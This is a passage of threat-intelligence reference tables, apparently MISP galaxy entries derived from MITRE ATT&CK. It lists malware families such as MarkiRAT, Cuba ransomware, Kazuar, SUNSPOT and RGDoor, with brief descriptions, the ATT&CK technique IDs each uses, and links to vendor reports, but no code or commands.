Table 5536. Table References

Links
https://attack.mitre.org/software/S0255

https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/

MarkiRAT - S0652

[MarkiRAT](https://attack.mitre.org/software/S0652) is a remote access Trojan (RAT) compiled with Visual Studio that has been used by [Ferocious Kitten](https://attack.mitre.org/groups/G0137) since at least 2015.(Citation: Kaspersky Ferocious Kitten Jun 2021)

The tag is: *misp-galaxy:mitre-malware="MarkiRAT - S0652"*

MarkiRAT - S0652 is also known as:

- MarkiRAT

View relationships graph

MarkiRAT - S0652 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Managers - T1555.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5537. Table References

Links
https://attack.mitre.org/software/S0652
https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/

Cuba - S0625

[Cuba](https://attack.mitre.org/software/S0625) is a Windows-based ransomware family that has been used against financial institutions, technology, and logistics organizations in North and South America as well as Europe since at least December 2019.(Citation: McAfee Cuba April 2021)

The tag is: *misp-galaxy:mitre-malware="Cuba - S0625"*

Cuba - S0625 is also known as:

- Cuba

View relationships graph

Cuba - S0625 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Reflective Code Loading - T1620" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5538. Table References

Links
https://attack.mitre.org/software/S0625
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf

KGH_SPY - S0526

[KGH_SPY](https://attack.mitre.org/software/S0526) is a modular suite of tools used by [Kimsuky](https://attack.mitre.org/groups/G0094) for reconnaissance, information stealing, and backdoor capabilities. [KGH_SPY](https://attack.mitre.org/software/S0526) derived its name from PDB paths and internal names found in samples containing "KGH".(Citation: Cybereason Kimsuky November 2020)

The tag is: *misp-galaxy:mitre-malware="KGH_SPY - S0526"*

KGH_SPY - S0526 is also known as:

- KGH_SPY
- KGH_SPY

View relationships graph

KGH_SPY - S0526 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Logon Script (Windows) - T1037.001" with estimative-language:likelihood-probability="almost-certain"

Table 5539. Table References

Links
https://attack.mitre.org/software/S0526
https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite

Kazuar - S0265

[Kazuar](https://attack.mitre.org/software/S0265) is a fully featured, multi-platform backdoor Trojan written using the Microsoft .NET framework. (Citation: Unit 42 Kazuar May 2017)

The tag is: *misp-galaxy:mitre-malware="Kazuar - S0265"*

Kazuar - S0265 is also known as:

- Kazuar

View relationships graph

Kazuar - S0265 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Transfer Protocols - T1071.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

Table 5540. Table References

Links
https://attack.mitre.org/software/S0265
https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/

Mosquito - S0256

[Mosquito](https://attack.mitre.org/software/S0256) is a Win32 backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010). [Mosquito](https://attack.mitre.org/software/S0256) is made up of three parts: the installer, the launcher, and the backdoor. The main backdoor is called CommanderDLL and is launched by the loader program. (Citation: ESET Turla Mosquito Jan 2018)

The tag is: *misp-galaxy:mitre-malware="Mosquito - S0256"*

Mosquito - S0256 is also known as:

- Mosquito

View relationships graph

Mosquito - S0256 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1546.015" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5541. Table References

Links
https://attack.mitre.org/software/S0256
https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf

SUNSPOT - S0562

[SUNSPOT](https://attack.mitre.org/software/S0562) is an implant that injected the [SUNBURST](https://attack.mitre.org/software/S0559) backdoor into the SolarWinds Orion software update framework. It was used by [APT29](https://attack.mitre.org/groups/G0016) since at least February 2020.(Citation: CrowdStrike SUNSPOT Implant January 2021)

The tag is: *misp-galaxy:mitre-malware="SUNSPOT - S0562"*

SUNSPOT - S0562 is also known as:

- SUNSPOT

View relationships graph

SUNSPOT - S0562 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1565.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1195.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"

Table 5542. Table References

Links
https://attack.mitre.org/software/S0562
https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/

UPPERCUT - S0275

[UPPERCUT](https://attack.mitre.org/software/S0275) is a backdoor that has been used by [menuPass](https://attack.mitre.org/groups/G0045). (Citation: FireEye APT10 Sept 2018)

The tag is: *misp-galaxy:mitre-malware="UPPERCUT - S0275"*

UPPERCUT - S0275 is also known as:

- UPPERCUT
- ANEL

View relationships graph

UPPERCUT - S0275 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 5543. Table References

Links
https://attack.mitre.org/software/S0275
https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html

VERMIN - S0257

[VERMIN](https://attack.mitre.org/software/S0257) is a remote access tool written in the Microsoft .NET framework. It is mostly composed of original code, but also has some open source code. (Citation: Unit 42 VERMIN Jan 2018)

The tag is: *misp-galaxy:mitre-malware="VERMIN - S0257"*

VERMIN - S0257 is also known as:

- VERMIN

View relationships graph

VERMIN - S0257 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5544. Table References

Links
https://attack.mitre.org/software/S0257
https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/

LookBack - S0582

[LookBack](https://attack.mitre.org/software/S0582) is a remote access trojan written in C++ that was used against at least three US utility companies in July 2019. The TALONITE activity group has been observed using [LookBack](https://attack.mitre.org/software/S0582).(Citation: Proofpoint LookBack Malware Aug 2019)(Citation: Dragos TALONITE)(Citation: Dragos Threat Report 2020)

The tag is: *misp-galaxy:mitre-malware="LookBack - S0582"*

LookBack - S0582 is also known as:

- LookBack

View relationships graph

LookBack - S0582 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"

Table 5545. Table References

Links
https://attack.mitre.org/software/S0582
https://hub.dragos.com/hubfs/Year-in-Review/Dragos_2020_ICS_Cybersecurity_Year_In_Review.pdf?hsCtaTracking=159c0fc3-92d8-425d-aeb8-12824f2297e8%7Cf163726d-579b-4996-9a04-44e5a124d770
https://www.dragos.com/threat/talonite/
https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks

OldBoot - S0285

[OldBoot](https://attack.mitre.org/software/S0285) is an Android malware family. (Citation: HackerNews-OldBoot)

The tag is: *misp-galaxy:mitre-malware="OldBoot - S0285"*

OldBoot - S0285 is also known as:

- OldBoot

View relationships graph

OldBoot - S0285 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Modify OS Kernel or Boot Partition - T1398" with estimative-language:likelihood-probability="almost-certain"

Table 5546. Table References

Links
http://thehackernews.com/2014/01/first-widely-distributed-android.html
https://attack.mitre.org/software/S0285

RGDoor - S0258

[RGDoor](https://attack.mitre.org/software/S0258) is a malicious Internet Information Services (IIS) backdoor developed in the C++ language. [RGDoor](https://attack.mitre.org/software/S0258) has been seen deployed on webservers belonging to the Middle East government organizations. [RGDoor](https://attack.mitre.org/software/S0258) provides backdoor access to compromised IIS servers. (Citation: Unit 42 RGDoor Jan 2018)

The tag is: *misp-galaxy:mitre-malware="RGDoor - S0258"*

RGDoor - S0258 is also known as:

- RGDoor

View relationships graph

RGDoor - S0258 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="IIS Components - T1505.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5547. Table References

Links
https://attack.mitre.org/software/S0258

https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/

Javali - S0528

[Javali](https://attack.mitre.org/software/S0528) is a banking trojan that has targeted Portuguese and Spanish-speaking countries since 2017, primarily focusing on customers of financial institutions in Brazil and Mexico.(Citation: Securelist Brazilian Banking Malware July 2020)

The tag is: *misp-galaxy:mitre-malware="Javali - S0528"*

Javali - S0528 is also known as:

- Javali

View relationships graph

Javali - S0528 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"

Table 5548. Table References

Links
https://attack.mitre.org/software/S0528
https://securelist.com/the-tetrade-brazilian-banking-malware/97779/

RCSAndroid - S0295

[RCSAndroid](https://attack.mitre.org/software/S0295) is Android malware. (Citation: TrendMicro-RCSAndroid)

The tag is: *misp-galaxy:mitre-malware="RCSAndroid - S0295"*

RCSAndroid - S0295 is also known as:

- RCSAndroid

View relationships graph

RCSAndroid - S0295 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
